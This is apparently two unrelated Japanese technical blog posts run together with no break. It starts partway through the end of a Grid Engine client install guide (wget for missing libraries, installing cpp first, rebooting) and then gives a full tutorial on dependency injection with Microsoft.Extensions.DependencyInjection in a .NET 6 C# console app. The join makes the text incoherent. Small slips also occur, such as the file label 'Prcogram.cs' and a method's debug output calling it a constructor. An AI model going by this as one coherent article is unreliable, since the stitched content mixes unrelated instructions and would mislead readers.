インストールされるGrid Engine Clientにいくつかの.soファイル(ソースオブジェクト)と.binファイル(バイナリーファイル)が不足しているのでこれもwgetで取得し、別途ライブラリフォルダ(/usr/lib/gridengine)にコピーします。

## ポイント3
最後に
```
sudo apt install -y cpp
```
これですかね。
このコマンドの直後の
```
sudo apt install -y gridengine-client
```
で依存関係が解決されていないようで、本来は自動でインストールされていて欲しいところですが、されていません。
なので事前に手動でインストールしておきます。

そして最後に必ず
```
sudo reboot
```

としてください。
これでOKです。

今回はこれまで。
C#でMicrosoft.Extensions.DependencyInjectionを使用してDIをする

# 1. はじめに
* JavaでアノテーションをつけてDIするようにC#でも似たようなことをしたい
* DIすることで単体テストをモックを使用してできるようにしたい
* Microsoft製のDIコンテナ(Microsoft.Extensions.DependencyInjection)を使いたい

# 2. 開発環境
* Visual Studio 2022
* .NET6
* Microsoft.Extensions.DependencyInjection (NuGet)
* Windows11

# 3. Visual Studioで新規プロジェクトを作成する
* 「コンソールアプリ」 を選択する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/24216817-8395-f64d-f841-16886d5ca1e5.png)

* ソリューション名/プロジェクト名は「DiConsoleApp」を設定する（任意）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/a078daab-c781-62da-e89e-5a61c68f3c10.png)

* フレームワークは「.NET 6.0」を選択する  
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/4d62d861-25da-1265-986b-a5c4c835729b.png)

# 4. Microsoft.Extensions.DependencyInjectionをインストールする
* ソリューションエクスプローラから「依存関係」を右クリックして、「NuGetパッケージの管理」を選択する
* 参照タブより「Microsoft.Extensions.DependencyInjection」をインストールする
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/ee98e4ae-b902-0546-330b-c66ae68ec3a2.png)

# 5. インターフェースを追加する
* 新しい項目を追加で、「インターフェース」 を追加する
```csharp:IMyService.cs 
namespace DiConsoleApp
{
    public interface IMyService
    {
        public void getValue();
    }
}
```

# 5. クラスを追加する
* 新しい項目を追加で、「クラス」 を追加する
```csharp:MyService.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace DiConsoleApp
{
    public class MyService : IMyService
    {
        public void getValue()
        {
            Debug.WriteLine("MyService コンストラクタ");
        }
    }
}
```

# 6. Program.csを修正する
```csharp:Prcogram.cs
using DiConsoleApp;
using Microsoft.Extensions.DependencyInjection;
using System.Diagnostics;

namespace DiConsoleApp
{
    class Program
    {
        static void Main(string[] args)
        {

            // サービスコレクションを生成
            var collection = new ServiceCollection();

            // サービスコレクションにクラスと生成方法を登録
            // AddSingleton(): 最初にサービスコンテナから要求されたタイミングでインスタンスを生成
            // AddScoped(): クライアントから接続されたタイミングでインスタンスを生成
            // AddTransient(): サービスコンテナから要求されたタイミングでインスタンスを生成
            collection.AddTransient<IMyService, MyService>();

            // サービスプロバイダから型(IMyService)に対応するインスタンスを取得
            var provider = collection.BuildServiceProvider();
            var myService = provider.GetRequiredService<IMyService>();

            // メソッドを実行
            myService.getValue();
        }
    }
}
```

# 7. 動作確認
* DIコンテナに登録したMyServiceのgetValue()が実行された
* サンプルにはないが、クラスAはコンストラクタでBを必要とするような場合でもServiceProviderが適切に処理してくれる 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/fa4279b7-4614-1859-1bb7-5038628d6d49.png)

# 8. ソースコード
https://github.com/YoshijiGates/CSharp/tree/main/DiConsoleApp

# 9. 参考文献
https://webbibouroku.com/Blog/Article/cs-di-servicecollection

https://mseeeen.msen.jp/service-provider-on-console-app/

https://araramistudio.jimdo.com/2021/09/17/c-di-dependency-injection-%E3%82%B3%E3%83%B3%E3%83%86%E3%83%8A%E3%82%92%E4%BD%BF%E3%81%86/